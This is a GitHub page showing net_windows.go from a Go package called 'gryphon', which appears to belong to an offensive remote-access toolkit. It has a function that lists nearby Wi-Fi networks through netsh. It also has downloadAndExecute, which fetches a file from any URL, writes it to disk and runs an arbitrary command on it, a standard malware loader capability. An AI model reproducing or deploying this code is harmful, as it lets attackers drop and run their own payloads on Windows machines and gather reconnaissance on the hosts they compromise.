-
Notifications
You must be signed in to change notification settings - Fork 4
/
net_windows.go
52 lines (44 loc) · 960 Bytes
/
net_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package gryphon
import (
"io"
"net/http"
"os"
"strings"
)
func networks() ([]string, error) {
wifi_names := []string{}
out, err := cmdOut("netsh wlan show networks")
if err != nil {
return nil, err
}
o := strings.Split(out, "\n")[1:]
for entry := range o {
e := o[entry]
if strings.Contains(e, "SSID") {
wifi_name := strings.Split(e, ":")[1]
wifi_names = append(wifi_names, wifi_name)
}
}
return wifi_names, nil
}
func downloadAndExecute(url string, cmd string) (string, error) {
splitted := strings.Split(url, "/")
filename := splitted[len(splitted)-1]
f, err := os.Create(filename)
if err != nil {
return "failed", err
}
defer f.Close()
response, err := http.Get(url)
if err != nil {
return "failed", err
}
defer response.Body.Close()
_, err = io.Copy(f, response.Body)
if err != nil {
return "failed", err
}
_cmd := strings.Replace(cmd, "[file]", filename, 1)
out, er := CmdOut(_cmd)
return out, er
}